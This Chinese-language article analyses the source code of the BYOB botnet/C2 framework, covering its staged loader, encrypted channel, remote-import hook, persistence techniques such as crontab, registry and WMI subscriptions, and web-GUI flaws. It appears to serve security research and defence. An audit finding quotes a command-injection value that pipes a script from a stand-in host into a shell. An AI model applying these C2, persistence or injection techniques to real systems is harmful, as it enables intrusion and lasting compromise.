乐于分享
好东西不私藏

工具 | BYOB C2 框架源码架构分析

工具 | BYOB C2 框架源码架构分析

本文为源码层的完整架构梳理,主体阅读对象为安全研究者、蓝队/EDR 工程师、以及对 Python 后渗透框架设计感兴趣的开发者。BYOB(Build Your Own Botnet)是 malwaredllc 维护的开源后渗透框架,定位是"教学/研究用 C2",与 malefic、Sliver 同属一类,但用纯 Python 实现,主打"文件式远程导入"与"零依赖生成器"两个卖点。

分析基于 commit b494690 remove broken build badge,对应版本 v2.0(v2.0-30-gb494690),最近一次提交 2024-07。本文侧重架构与工程缺陷,不构成使用指引。仓库地址:https://github.com/malwaredllc/byob


目录

  1. 整体概览
  2. 分层加载链 dropper / stager / payload
  3. 通信协议与加密
  4. 远程导入机制 core/loader.py
  5. C2 服务器与数据层
  6. 后渗透模块体系
  7. Web GUI 层
  8. 多平台交叉编译
  9. 安全与抗分析子系统的真相
  10. 设计亮点(可借鉴)
  11. 安全与工程缺陷(缺点)
  12. 解读结论

1. 整体概览

1.1 两套并行实现

仓库里有两个互相独立的 BYOB,而不是一个核心 + 一个前端:

  • byob/ —— 原始控制台应用,约 7100 行 Python。
  • web-gui/buildyourownbotnet/ —— Flask Web GUI,约 10377 行 Python(含一个 2330 行的 dummy_payload_for_testing.py)。

两者的 core/(payloads / security / loader / stagers / generators / util / handler)与 modules/ 几乎逐文件复制粘贴,量化如下(web-gui vs 控制台,按字节):

文件
web-gui
控制台
已分叉
payloads.py
43.8 KB
42.1 KB
是
security.py
56.4 KB
55.7 KB
是
generators.py
11.0 KB
10.0 KB
是(关键)
loader.py
9.4 KB
9.4 KB
否
util.py
17.2 KB
17.2 KB
否

合计约 140 KB 重复核心代码 + 11 个重复模块文件。差异是有负载且已偏离的:

  • 导入风格不同:web-gui 用 from buildyourownbotnet.core import util,控制台用 import util。
  • freeze() 签名不同:web-gui 多了 owner / operating_system / architecture 与整套 Docker 分派;控制台只有 debug。
  • PyInstaller .spec 模板不同:web-gui 写 block_cipher = None、debug=True、console=True;控制台写 block_cipher = pyi_crypto.PyiBlockCipher(key=${KEY})、debug=False、console=False。两边产出的二进制材质不同,安全相关修复不会跨树传播。

这是整个仓库最大的维护债务:一处修了加密/帧化 bug,另一处照旧。

1.2 四端口架构

server.py 的 main()(server.py:130-141)在 C2 主端口之外再起三个辅助服务,全部明文、无认证、绑 0.0.0.0:

端口
服务
用途
1337(C2)
原始 TCP socket(C2._socket,server.py:377)
反向 TCP shell
1338(port+1)python -m http.server
 cwd=modules(server.py:134)
托管 BYOB 模块 以及生成的 payload/stager 源码
1339(port+2)python -m http.server
 cwd=site-packages(server.py:131)
托管任意 pip 包
1340(port+3)core/handler.py
 HTTP POST(server.py:137)
接收回传文件

C2 主端口是"真正的"服务端逻辑,另外三个本质是哑文件服务器 + 一个 POST 接收池。main() 还打开一个 temp 文件(server.py:126)把三个子进程的 stdout/stderr 全部重定向进去吞掉。


2. 分层加载链 dropper / stager / payload

byob/client.py 的 main()(client.py:122)分五段组装投递物:_modules → _imports → _hidden → _payload → _stager → _dropper。最终产出三层加载链:

dropper(约 6 行)   │  exec(eval(marshal.loads(zlib.decompress(base64b64(...)))))   │  payload 段 = urlopen(<stager_url>).read()   ▼stager(纯 stdlib)   │  urlopen(url).read()  →  可选 decrypt(XXTEA)  →  exec(payload, globals())   ▼payload(完整反弹 shell)   │  Payload(host, port).run()   │    _get_connection(反向 TCP,失败每 30s 重试)   │    _get_key(Diffie-Hellman)   │    _get_info(主机指纹 + 首帧)

要点:

  • stager 最先跑。stagers.py:run()(stagers.py:62-67)urlopen(url).read() 拉取 payload,可选 decrypt(...)(实际是 XXTEA,见 §3),然后 exec(payload, globals()),全程不落盘。
  • payload 静态加密用"XOR-128"(实为 XXTEA)。client.py:191 生成 key = base64.b64encode(os.urandom(16)),每次 client.py 运行都新生成;若 --encrypt,_payload 调 security.encrypt_xor(payload, base64.b64decode(key))(client.py:329)。随后 _stager 把 key 作为字符串字面量嵌进 stager 源码(client.py:371 → generators.py:156)。即"密钥随密文同箱配送",拿到 stager 就拿到 key——这是混淆,不是保密。
  • 运行期 C2 信道用 AES-256-CBC,密钥由 DH 协商,见 §3。
  • dropper 压缩态用 zlib.compress(marshal.dumps(compile(src,'','exec')), 9) 自解压一行流(generators.py:120),--freeze 时 shell=True 调 PyInstaller(generators.py:194)。反 VM/反 AV/沙箱检测住在运行期 core/payloads.py 里,不在生成器里。

3. 通信协议与加密

3.1 帧格式

双向都是 4 字节大端无符号长度前缀 + body:

+----------------+----------------------------------------------+| length (4B BE) | body = base64( AES-256-CBC(json) )           || struct.pack    |   IV 随机/每帧,前置于密文                     || ('!L', len)    |                                              |+----------------+----------------------------------------------+

发送:struct.pack('!L', len(data)) + data → connection.sendall(msg)(payloads.py:920-921、server.py:1024)。接收:先 recv(4) 读头,再 recv(struct.unpack('!L', hdr)[0]) 读体(payloads.py:954-959、server.py:1046)。序列化用 JSON(线上无 pickle——server.py:12 的 import pickle 是死代码)。

3.2 Diffie-Hellman 密钥协商

security.py:332-350:

g = 2p = 0xFFFFFFFF...      # 1536-bit MODP Group 5(RFC 3526)a = bytes_to_long(os.urandom(32))   # 256-bit 私钥xA = pow(g, a, p)connection.send(long_to_bytes(xA))               # 发公值xB = bytes_to_long(connection.recv(256))          # BUG:见 §11s  = pow(xB, a, p)return sha256(long_to_bytes(s)).digest()          # 32B AES 密钥

服务端镜像在 server.py:954(Session.__init__ 调 security.diffiehellman(self.connection))。协商后所有任务流 encrypt_aes/decrypt_aes(security.py:352/367)。

3.3 加密实现的三处硬伤

需要先纠正 README/文档里的措辞:

  1. 没有 OCB 模式。security.py 里唯一的 AES 模式类是 AESModeOfOperationCBC(security.py:236),全仓 grep 不到 OCB。
  2. "XOR-128" 名不副实。encrypt_xor/decrypt_xor(security.py:388/428)不是异或流密码,而是一个 XXTEA/TEA 族分组密码(delta = 0x9e3779b9、v0/v1 Feistel 轮、sum 调度),上面再套一层手搓 CBC 链。
  3. AES 是手写的纯 Python 实现(security.py:51-277),比 cryptography/pycryptodome 慢 100 倍以上,且是安全敏感原语。

更严重的是工程层:CBC 不带 MAC(padding oracle / 可塑性面)、用 null-byte 填充而非 PKCS#7(pad,security.py:280-286,解密端 rstrip(chr(0)) 会静默破坏合法以 \x00 结尾的载荷)。


4. 远程导入机制 core/loader.py

这是整个项目的招牌特性,也是最有复用价值的设计。机制如下。

4.1 注册与作用域

add_remote_repo(loader.py:197-204)构造一个 Loader 并插入 sys.meta_path[0]。remote_repo 上下文管理器(loader.py:218-226)进入时注册、退出时摘除。Payload.load(payloads.py:445-448)这样用:

with remote_repo(self.remote['packages'], base_url_2):   # port+2with remote_repo(self.remote['modules'],  base_url_1):  # port+1exec('import {}'.format(module), target)

4.2 发现:find_module(loader.py:38-66)

实现的是遗留 PEP 302 finder 协议(find_module/load_module,Python 3.4 起被 importlib.abc 取代,imp 在 3.12 已移除)。仅当:顶层包名在声明清单内 且imp.find_module 确认本地没有时,才返回 self。清单本身靠抓取 SimpleHTTPServer 目录索引填充:Payload._get_resources(payloads.py:176-216)urlopen 列表页,正则 <a href>,递归进子目录。

4.3 加载:load_module(loader.py:68-129)

module_url  = base_url + '%s.py'%name.replace('.', '/')package_url = base_url + '%s/__init__.py'%name.replace('.', '/')package_src = urlopen(package_url).read()   # 明文 HTTP,无认证...mod = imp.new_module(name)mod.__loader__ = self; mod.__file__ = final_urlsys.modules[name] = modexec(final_src, mod.__dict__)               # ← 任意代码执行点

另有编译态路径 __fetch_compiled(loader.py:158-175):拉 <url>c(.pyc),剥掉 8 或 12 字节头,marshal.loads 出 code object,同样走 exec。

4.4 导入数据的认证/加密?

没有。 纯 urlopen().read() 走 HTTP,无签名、无 MAC、无校验和。README.md:129 把这件事明确列为 TODO #1:

Remote Import Encryption - encryption for data streams of packages/modules being remotely imported (to maintain confidentiality/authenticity/integrity and prevent any remote code execution vulnerabilities arising from deserialization)

README 的自承是准确的,这也正是框架最大的未修补设计漏洞(见 §11)。


5. C2 服务器与数据层

5.1 线程模型——比看起来朴素

C2不是每客户端一线程。实际是协作式、控制台驱动的单活动 shell模型:

  • C2.serve_until_stopped(server.py:828)被 @util.threaded 装饰,因此以一个守护后台线程启动(util.py:581-598,装饰器内部 t.start() 并返回 Thread)。这是服务器自启的唯一线程,阻塞在 socket.accept(),每接受一个连接就同步构造一个 Session(server.py:836)。
  • Session 继承 threading.Thread(server.py:927),但从不 .start()(全文件 grep 0 次调用)。它的 run() 在用户执行 shell <id> 时从主控制台循环直接同步调用(server.py:805)。
  • 控制台态/shell 态的切换原语是两个 threading.Event:C2._active 与 session._active。进 shell 清前者置后者;bg 反之(server.py:807-826)。Session.run()(server.py:1053)坐在 self._active.wait() 上,后台态时零 CPU 空转。

后果:控制台同一时刻只能主动驱动一个客户端。task_broadcast(server.py:682)完全同步——先给每个 session 发、再在一个字典推导里阻塞收每个回复,一个慢/死客户端拖垮整个广播。

5.2 命令分派

控制台命令表 self.commands(server.py:181-338)把命令名映射到绑定方法(服务端本地命令)或占位字符串。主循环(server.py:890-923):已知命令有可调用方法则本地跑;是 cd 就 os.chdir 服务器自身;否则 subprocess.Popen(..., shell=True)(server.py:915)——这是控制台里的 shell 注入 sink(需控制台访问权限)。

Session.run()(server.py:1053-1098)的分派更值得看:

  1. 客户端发 {"task": "prompt", "result": "<提示文本>"}。
  2. 服务端 raw_input 读一行(server.py:1068)。
  3. 命中本地命令则本地执行、显示并 database.handle_task 记录,不转发给客户端。
  4. 否则 handle_task 给任务分配 uid(server.py:1082),send_task 把加密任务发给客户端。
  5. 客户端执行后回 {"task":..., "result":...},recv_task 解密、显示、handle_task 标记完成。

任务流:控制台 → DB(issued)→ AES 加密 socket → 客户端 → 结果 → DB(completed)。DB 就是命令/响应的审计日志。

5.3 数据库设计(byob/core/database.py)

两张表,__init__ 用 executescript 跑原始 DDL(database.py:27-76):

  • tbl_sessions:每客户端一行(按 uid 去重)。列含 id serial / uid / online / joined / last_online / sessions(重连计数)/ public_ip / mac_address / local_ip / username / administrator / platform / device / architecture / longitude / latitude / owner。没有单独的 tbl_clients——session 表兼任客户端登记表。
  • tbl_tasks:id serial / uid / session(实为客户端 uid,命名误导)/ task / result / issued / completed。既是待办队列也是历史结果日志。
  • 没有 tbl_files——回传文件走文件系统 handler.py,不入库。

DAO 风格:Database直接子类化 sqlite3.Connection(database.py:21),全程原始参数化 SQL,sqlite3.Row 行工厂,手搓 execute_query/execute_file 包装(database.py:294/320),无 ORM。

5.4 文件回传处理器(byob/core/handler.py)

独立 BaseHTTPRequestHandler 进程(server.py:137)。do_POST(handler.py:28):

  1. 读 Content-Length 字节(handler.py:34)——无大小上限,可耗尽内存/磁盘。
  2. JSON 解码,取 {"data": base64, "type": ext}。
  3. 解码写 output/<random3>.<ftype>。

无认证。能连到端口的人都能传。文件名随机(3 字符),客户端不能直接选;但扩展名 ftype 客户端可控且未校验(handler.py:49):fname = random... + '.' + ftype,若 ftype = "../../evil",os.path.join('output', 'abc.../../evil') 会解析到 output/ 之外。os.path.basename 或白名单即可修。

其他 handler bug:send_response(200) 被调两次(_set_headers 行 24 + 行 35);string.lowercase(handler.py:49)是 Python 2 专属,尽管顶部有 Py2/3 兼容 shim,这行在 Py3 直接崩——handler 在 Py3 下基本是坏的。单线程 HTTPServer(handler.py:56),一个慢上传阻塞全部。


6. 后渗透模块体系

6.1 模块契约——其实是鸭子类型

没有基类、没有正式接口。契约只靠约定:byob/modules/ 下的 .py,暴露一组约定全局量即"可远程导入":

全局量
类型
用途
packageslist[str]
第三方依赖(服务器也要能托管)
platformslist[str]
兼容的 sys.platform
usage
 / description
str
服务端 help
run(...)
函数
入口
logStringIO
异步采集缓冲
resultsdict
结果集
commandbool
标记为用户可调命令

结果回传有两条通道:

  1. 小文本:run() 返回字符串,经主循环包成任务 dict,send_task() 走加密反向 TCP(payloads.py:900-938)。
  2. 大/二进制:模块写进模块级 StringIO/缓冲,Payload wrapper base64 后 HTTP-POST 到 port+3(handler.py)。见 screenshot(payloads.py:816-818)、keylogger(:792-794)、packetsniffer(:884-890)、outlook(:635)。

关键限定:加模块不是即插即用。每个模块都要在 Payload 类上有一个硬编码 wrapper 方法(payloads.py:826 persistence、:753 keylogger、:730 portscanner、:803 screenshot…),带 @config(platforms=[...], command=True, usage=...) 装饰。分派器 _get_command(payloads.py:118-121)只在 hasattr(self, cmd) and getattr(...,'command') 时认这条命令。所以 __init__.py:68-72"把脚本丢进去客户端就能自动导入"是误导的——自动导入成立,自动暴露为命令不成立。

6.2 持久化模块——实际 7 种机制

__init__.py:89-95 文档说 5 种,代码已长到 7 个 Method 实例(文档落后于代码):

Method
平台
机制
hidden_file
win32/linux/darwin
attrib +h
 或点前缀副本
crontab_job
linux/linux2
追加 0 * * * * root <path> 到 /etc/crontab
registry_key
win32
HKCU\...\Run
 经 _winreg
startup_file
win32
Startup 目录放 .url InternetShortcut
launch_agent
darwin
~/Library/LaunchAgents/<name>.plist
(RunAtLoad,180s)
scheduled_task
win32
SCHTASKS /CREATE /SC hourly
powershell_wmi
win32
WMI 永久事件订阅(__InstanceModificationEvent → CommandLineEventConsumer 跑 base64 PowerShell)

跨平台覆盖真实但不均:Linux 仅 2 种、macOS 仅 2 种、Windows 5 种。powershell_wmi 是无文件持久化,对应 MITRE ATT&CK T1546.003。Method 类按 sys.platform in self.platforms 网关,跨平台误调抛 OSError 而非崩溃——这块是全仓最可扩展的设计。

6.3 端口扫描器为何 739 行

约 600 行是硬编码端口字典(portscanner.py:31-648):ports = {...} 把约 200 个端口号映射到 {protocol, service},本质是一份手剪的 /etc/services,纯数据。真正扫描逻辑只约 90 行(:651-739):

  • _ping(:651):subprocess.call(..., shell=True) 调 ping -n 1 / ping -c 1 探活。
  • _threader(:667,@util.threaded):从 Queue 拉 (callable, arg) 直到 get_nowait() 抛错——线程池模式。
  • _scan(:680):TCP connect 扫描——SOCK_STREAM、settimeout(1.0)、connect()。无 raw socket、无 SYN、不需要 root。连上后 recv(1024) 抓一次 banner,过滤可打印 ASCII 截断 80 字符,再查端口字典标协议/服务。
  • run(:713):校验 IPv4、ping、每端口入一个任务、range(1, qsize()) 开 worker、join、返回 json.dumps(results[target])。

即:无 raw socket、有线程(队列池)、有 banner 指纹(单次 recv)、外加一个巨型内嵌服务库。规模是数据问题不是复杂度问题——这本该是资源文件或 socket.getservbyport()。


7. Web GUI 层

7.1 应用结构

工厂 + Blueprint。create_app()(web-gui/buildyourownbotnet/__init__.py:20-58)是教科书式 Flask 工厂:选 ProdConfig/TestConfig,app context 内初始化 db/bcrypt/login_manager,db.create_all(),注册六个蓝图(main / users / api.files / api.session / api.payload / errors)。

认证 = Flask-Login + 服务端 session。 无 JWT。@login_required 守护用户面与多数 API 路由。密码 bcrypt 哈希(models.py:10)。UserMixin session cookie 是唯一凭证。

最大的架构罪过:C2 在 import 时就被实例化。__init__.py:16-18:

from buildyourownbotnet import client, serverc2 = server.C2(debug=_debug)

仅仅导入这个包就会构造一个 threading.Thread 子类、打开 0.0.0.0:1337 监听 socket(server.py:68,120-125),并 spawn 两个 SimpleHTTPServer 子进程在 1338/1339。任何测试、任何 REPL 导入、任何 gunicorn worker 引导 app 都会起一个 C2 监听;多 worker 部署时每个 worker 各持一个 c2.sessions dict 和各自的 socket(SO_REUSEADDR 救不了跨 worker 端口冲突)。

Web 用户如何生成 payload:POST /api/payload/generate(api/payload/routes.py:12-65)读表单,构造 options,调 client.main('', '', '', '', '', '', **options)(payload/routes.py:53)——六个空位置参数,因为生成器是被硬塞进 Web 应用的。client._dropper 把 dropper 写到 output/<owner>/src/byob_<var>.py(client.py:431-458)。若 freeze,generators.freeze()shell=True 调 Docker(core/generators.py:275-280)。

Web 用户如何与活动客户端交互:GET /shell?session_uid=X(main/routes.py:83-130)渲染 shell.html(jQuery 终端)。每条命令 $.post 到 /api/session/cmd(api/session/routes.py:45-76),handler 从内存 c2.sessions[current_user.username] 取活动 SessionThread,send_task 后同步recv_task(session/routes.py:68-69),结果作 HTTP body 返回。无 async、无队列、无 websocket。唯一的"推送"是 sessions.html 里 1 秒一次的 JSON 轮询打 /api/session/poll。

7.2 API 设计

半 RESTful、动词进路径:/api/<resource>/<action>——/api/session/new、/api/session/cmd、/api/session/remove、/api/session/poll、/api/payload/generate、/api/file/add。创造性动作全 POST,无 PATCH/DELETE。

7.3 Web 层的安全洞

  • CSRF 实际关闭。TestConfig.WTF_CSRF_ENABLED = False(config.py:13);ProdConfig 从不导入/初始化 CSRFProtect。表单里 {{ form.hidden_tag() }} 本会吐 CSRF 字段——但 AJAX 端点(/api/session/cmd、/api/session/remove、批量执行)不发 token。/api/session/cmd 把任意命令转发给 bot,此处 CSRF = 对任何登录用户所控全部机器 RCE,只要他访问一个恶意页面。
  • 两条 API 路由完全无认证:/api/session/new(api/session/routes.py:11-18)与 /api/file/add(api/files/routes.py:14-61),互联网任意人可 POST,owner 取自 body。
  • 路径穿越任意文件写。api/files/routes.py:52:os.path.join(os.getcwd(), 'buildyourownbotnet/output', owner, 'files', filename),owner/filename/session 全来自未认证 body,os.path.join 不净化 ..。filename = "../../app.py" 即写出树外。同样的洞在遗留 core/handler.py:65。
  • Docker 容器名命令注入。generators.freeze()(generators.py:275-280)跑 docker run ... {docker_container},容器名 = operating_system + '-' + architecture,二者直接来自 payload 表单(api/payload/routes.py:19-20,49),无白名单。win; curl evil.sh | sh; echo 即服务器 shell 注入。全程 shell=True。
  • 密钥。ProdConfig.SECRET_KEY = os.environ.get('BYOB_APP_SECRET_KEY') or os.urandom(24)(config.py:4)——回退每次进程启动重新生成,重启即作废所有签名 cookie,且多 worker 各异。TestConfig.SECRET_KEY = 'helloworld'(config.py:10)。
  • 开放重定向。users/routes.py:76-77:next_page = request.args.get('next'); return redirect(next_page) 无校验。
  • 下载路径穿越。main/routes.py:155-173 用 URL 段 <user>/<filename> 进 send_from_directory,只 @login_required,不校验"这文件属于 current_user"——任何登录用户可猜路径读他人回传文件或生成的 payload。

8. 多平台交叉编译

两条互相独立的交叉编译路径,只有第一条接入 Web GUI:

(a) Web-gui 路径 —— web-gui/docker-pyinstaller/。 由 generators.freeze()(core/generators.py:208-309)触发:cd 进 output/<owner>/src/,写 PyInstaller .spec,拷 requirements_client.txt,跑:

docker run -v "$(pwd):/src/" <operating_system>-<architecture>

镜像名形如 win-x64 / linux-amd64,由 Dockerfile-py3-win64(Ubuntu 20.04 + Wine + Wine 下装 Python 3.7.9 MSI + PyInstaller 3.6 + VC++ redist + winetricks win10)与 Dockerfile-py3-amd64(原生 Linux + pyenv + PyInstaller)构建。entrypoint 跑 pyinstaller --clean -y --dist ./dist/{windows|linux} --workpath /tmp *.spec。10 分钟超时循环盯 stderr 的 "EXE ... complete"(generators.py:282-298)。

(b) 仅控制台路径 —— byob/crosscomp/build-environment.sh。 完全不同且更老的机制:装 docker.io + qemu-user-static + binfmt-support,注册 multiarch qemu,再对 arch.targets 每行构建 per-arch 镜像(<arch>:BYOB)并产出 compile_<arch>.sh 包装,在容器内跑 python client.py --freeze。支持 ARM/ARM64/RasPi(经 qemu 模拟)。Web GUI 完全不调用它——Web GUI 的"多平台"面被限制在运营者预构建的 docker-pyinstaller 镜像(win32/win64/amd64/i386)加上他手头恰好有的 os-arch 组合;控制台丰富的 ARM 故事从 Web 应用不可达。


9. 安全与抗分析子系统的真相

README 宣传"Evade Antivirus"、"Prevent Analysis"、"Avoid Detection"。代码实际做的:

  • 反 VM(stagers.py:environment(),stagers.py:34-37):查 VBOX 环境变量 + 一小撮硬编码进程名(vmwareuser、vboxservice、vmtoolsd…)经 tasklist/ps。从未被调用——run() 里这检查被注释掉(stagers.py:64-70)。框架出厂自带反 VM 关闭。即便启用:约 12 个静态名、无沙箱制品检查、无 sleep/计时检查、无 API-hook 检测,改个二进制名或用清单外 hypervisor 即绕。
  • 反 AV = payload 静态 XXTEA 加密 + 可选 pyminifier 混淆(generators.obfuscate,generators.py:122-142)+ 可选 PyInstaller freeze。仅静态签名规避,无运行期技术,无 AMSI/ETW bypass,无 unhook。
  • 无反调试、无反反汇编、无内存扫描规避。"无文件"对 post-stager 阶段成立(一切 exec 进内存),但初始 stager 仍落盘(除非框架自身不提供的文件式投递向量)。
  • escalate.py 的"UAC bypass"是假的。:42 调 win32com.shell.shell.ShellExecuteEx(lpVerb='runas', ...)——这是标准"以管理员身份运行"机制,会在用户面前弹正常 UAC 同意框。模块 docstring 与 __init__.py:100-101 称其"UAC bypass"是虚假宣传。更糟::12 导入 win32com.client,:42 却引用 win32com.shell.shell——win32com.shell 从未导入,非提权运行时这行抛 AttributeError。唯一"工作"的提权路径是 :38-39 用户已是管理员时的早返回。没有真正的 bypass 技术(无 COM 劫持自动提权、无 fodhelper、无 ICMLuaUtil)。

9.1 加密层实际提供的威胁模型

加密层只挡得住纯被动、离路径的窃听者,仅此而已。对任何在路径上的人(企业代理、被 comprom 的 ISP、C2 基础设施运营者、或任何能到达 port+1/+2/+3 的人),框架提供:DH 协商的平凡 MITM、经导入信道的任意代码执行、经 port+3 的未认证文件注入、任务信道上的 CBC 可塑性。README 诚实承认导入加密是 TODO;其余皆源于"无 TLS、无认证、手搓加密"。


10. 设计亮点(可借鉴)

  1. 经 sys.meta_path 的内存远程导入。Loader finder/loader 对 + remote_repo 上下文管理器是真正优雅的设计——一种有作用域、无文件的、用服务器托管代码扩展运行中 agent 的方式。换成 importlib.abc.MetaPathFinder/Loader 加 find_spec 实现后,这模式在进攻工具之外也大有用武之地——它本身是正当的插件/流式代码技术。
  2. 分层投递。dropper(极小)→ stager(纯 stdlib、"零依赖")→ 完整 payload。初始足迹小,重代码住服务端。通用 C2 好架构。
  3. 动态代码生成 + 压缩。generators.compress 产出 marshal+zlib+base64 自解压一行流(generators.py:120),string.Template 驱动的 spec/plist 生成是整洁、可组合的变换。
  4. 纯 stdlib stager。stager 在裸 Python 安装上跑、无需 pip install——作为一阶段加载器很合理。
  5. 反向 TCP + 被动模式重连。仅出站(防火墙友好),30 秒重试循环,被动→主动干净切换(payloads.py:578-586、payloads.py:998-1004)。
  6. 任务模型即审计日志。每条命令及其结果都是一等 DB 行(tbl_tasks 带 issued/completed 时间戳,database.py:260-289)——免费拿到历史、回放、问责,更多 C2 应当如此。
  7. @config 装饰器作元数据载体(util.py:566-579,payloads.py:47-59 镜像):把 platforms/usage/command 挂成函数属性,无需继承。声明每命令元数据的干净方式。
  8. threading.Event 控制台/shell 切换(server.py:172,950):在单主线程上多路复用"管理控制台"与"一个活动反向 shell"而无需轮询——值得研究,哪怕周边代码混乱。
  9. 持久化 Method 类:实例化 Method('name', platforms=[...]),调 .add()/.remove() 经 globals()['_add_{}'.format(self.name)]() 分派。加新技术 = 写两个函数 + 一行 Method(...)。全仓最可扩展处。

11. 安全与工程缺陷(缺点)

11.1 安全(严重)

  • 远程导入 = 大规模 RCE 向量(已自承)。任何能跟 port+1/port+2 说话的人——被 comprom 的运营者、明文 HTTP 上的 MITM、或任何能到达这些端口的对端(绑 0.0.0.0)——都能在每个发 load <module> 的客户端上执行任意 Python。服务器本身是服务磁盘内容的哑 http.server,无白名单、无认证、无完整性校验。exec(final_src, mod.__dict__)(loader.py:126)就是执行 sink。这是一对多 comprom 原语。
  • 四个监听服务零认证。C2 TCP 端口(任何完成 DH 的都是"客户端")、模块/包 HTTP 服务器(任何人可拉全部模块)、POST handler(任何人可推)。知道端口的被动观察者即可注册为客户端。
  • DH 无签名→MITM。无签名、无证书、无 PSK。在路径攻击者拆成两个独立会话即可解密一切,整层加密对在路径者作废。
  • CBC 无 MAC(security.py:352-386)。可塑性与 padding oracle 面;base64 信封无实质帮助。应是 AES-GCM 或 Encrypt-then-MAC。
  • null-byte 填充而非 PKCS#7(pad,security.py:280-286;rstrip(chr(0)) 于 security.py:386),静默破坏合法以 \x00 结尾的载荷。
  • 手搓纯 Python AES(security.py:51-277),比 cryptography/pycryptodome 慢 100 倍+,安全敏感原语的脚枪。
  • 1536-bit MODP(Group 5)素数,低于 NIST/NSA 当今 2048-bit 下限。
  • Web 端 CSRF 关闭→/api/session/cmd 等于对登录用户全部受控机 RCE(api/session/routes.py:45-76 + config.py:13)。
  • /api/session/new 与 /api/file/add 完全无认证。
  • 文件上传路径穿越(扩展名客户端可控,handler.py:49、api/files/routes.py:52)。
  • Docker 容器名命令注入(generators.py:275-280,shell=True)。
  • handle_session 列名 SQL 注入(database.py:242):info 是客户端发的 JSON dict,值经 :param 绑定安全,但列名列表用客户端可控的 dict keys 字符串格式化。恶意客户端在注册 JSON 加一个 key 即注入任意 SQL 到列名位。
  • icloud.py:29 全局关 TLS 校验:import 时 ssl._create_default_https_context = ssl._create_unverified_context,为整个进程关掉验证(不止它自己的下载);还 urlretrieve 硬编码 mas-cli v1.4.2 release、xattr -d 去 quarantine、chmod 755 并运行——"import 即 RCE"模式。
  • escalate.py"UAC bypass"是假的(见 §9)。

11.2 正确性(严重 bug)

  • SQLite 跨线程共享无锁(database.py:70check_same_thread=False)。accept 线程与控制台线程共用同一连接,无序列化;commit() 竞态产生 database is locked,被裸 except 吞(database.py:187,357),实际负载下丢任务记录。
  • recv 不循环读取。DH 的 connection.recv(256)(security.py:348)、两端 recv_task 的 recv(msg_len)(payloads.py:958、server.py:1046)。TCP 是流,都不循环读到请求字节数;分片时会误解析长度头而死锁或损坏。
  • Session 是从未 start() 的线程——run() 从主循环同步调用(server.py:805)。threading.Thread 基类是误导性死重。
  • accept 循环里同步做 DH + 收 client_info(server.py:836、Session.__init__:954-961)。一个慢/恶意客户端阻塞所有新 accept。握手应交给每连接 worker。
  • process.kill 严重坏(process.py:117-145)。return json.dumps(output) 在 :143 位于 for 循环内,函数检完恰好一个进程行就返回;若首行不匹配请求 PID,落进 :138 的 else 用 taskkill /im <exe>杀错进程再返回。
  • outlook.run 用 t.run() 而非 t.start()(outlook.py:93)。Thread.run() 在调用者线程同步执行目标——_get_emails(含无界 while True)永远阻塞调用者,线程从未真正 spawn。
  • util.png 在 Py3 损坏(util.py:295-351):对 bytes 做 str(magic) 得到 repr 串 "b'\\x89PNG...'",写进 StringIO,再 :349-350 对已是 str 但含畸形 repr 的数据 encode('utf-8')——PNG 输出损坏。screenshot.run 依赖此路径。
  • handler.py Py2 专属(string.lowercase,handler.py:49),Py3 崩。
  • 持久化多处 AttributeError/TypeError:Method.__init__ 调 util.__logger__.warn(...) 但 util 无此属性;_add_scheduled_task 调不存在的 util.variable(...);_remove_crontab_job 对 list 做 lines.pop(line, None)(list.pop 取整数索引不取字符串值)。
  • packetsniffer 声明 platforms=['linux2','darwin'] 却用 Linux 专属的 socket.PF_PACKET(packetsniffer.py:22,149),macOS 上必崩;_run 体错误处理整段被注释(:148-168)。
  • keylogger 导入 pyHook(keylogger.py)——pyHook 仅 Python 2 且无人维护,Py3 无 pyHook。键盘记录器实为 Windows+Py2 专属,尽管声明支持 win32/linux2/darwin。
  • serve_resources(server.py:868-878)既坏又死:每 3 秒在无限循环里 kill 并重启 package_handler,会切断每个在途远程导入;它从不被 run() 调用,纯地雷。
  • PEP 302 imp loader 在 Python 3.12 已移除——整套远程导入在新 Python 上失效。
  • execute 的 info.dwFlags = subprocess.STARTF_USESHOWWINDOW, subprocess.CREATE_NEW_ps_GROUP(payloads.py:679)——小写 ps_GROUP 是笔误,且元组赋给 dwFlags 错误;Windows 隐藏进程路径坏的。

11.3 设计与可维护性

  • server.py 1100 行上帝对象。C2(server.py:144-924)同时拥有:socket 生命周期、四个子进程句柄、命令分派表、控制台 UI(颜色/样式/提示符/banner/tab 补全)、SQL 直通、任务广播、session 簿记、显示格式化。应拆成 transport/session/console_ui/commands/lifecycle。
  • Payload ~960 行上帝类,混 transport(send/recv)、任务循环、约 25 个无关命令(cd/ls/keylogger/outlook/escalate/persistence/packetsniffer…)。
  • globals() 当服务注册表。Payload 伸手进 globals() 取 diffiehellman/encrypt_aes/decrypt_aes/post/geolocation/public_ip 等(payloads.py:143,170,221,569,614…),硬耦合到 from x import * 成功,重构/测试/静态分析痛苦。
  • 控制台与 Web 代码 ~140KB 复制粘贴且已分叉(block_cipher 等安全相关差异)。
  • 裸 except: / except: pass 泛滥(payloads.py:265,387,497,500,621,734,785;outlook.py:38,57;util.py:172,229,366;process.py:135)。
  • Python 2/3 双兼容债遍布:xrange/range、StringIO/io、urllib2/urllib、raw_input/input、string.lowercase、imp;security.py:31-48 还在 import 时按 sys.version_info 猴补丁。
  • 模块并非真正 drop-in:每个新模块需要一个 Payload wrapper(见 §6.1)。
  • Web GUI:C2 在 import 时实例化(见 §7.1)。
  • Web GUI 与自身 HTTP 耦合:C2 线程在同进程里用 app.test_client().post('/api/session/new', ...) 跟 Flask 说话(server.py:157,239),古怪且慢。
  • datetime.utcnow() 在类定义时求值(models.py:22,36,79,101,121,default=datetime.utcnow() 应为 default=datetime.utcnow 可调用),每行都拿导入时间戳。
  • 遗留/死代码:_get_session_by_id(server.py:403-411)立即把参数覆写成 None;_get_session_by_connection(:413-425)调不存在的 self.get_sessions();handler.py 重复 /api/file/add 且仍引用 Py2 string.lowercase;server.py:955 注释掉的 self.rsa = None # security.Crypto.PublicKey.RSA.generate(2048) 死愿望。

12. 解读结论

BYOB 是一个紧凑、教学向的 C2,用几个真正漂亮的想法(分层 dropper、内存远程导入、DH/AES 信道、任务审计日志)裹在一层脆弱的单文件上帝对象里。它最值得拆出来复用的是 loader.py(远程导入钩子)、帧化(长度前缀)与任务-DB 模式;server.py 单体与 database.py DAO 应当视作待重写的草稿,而非照搬。

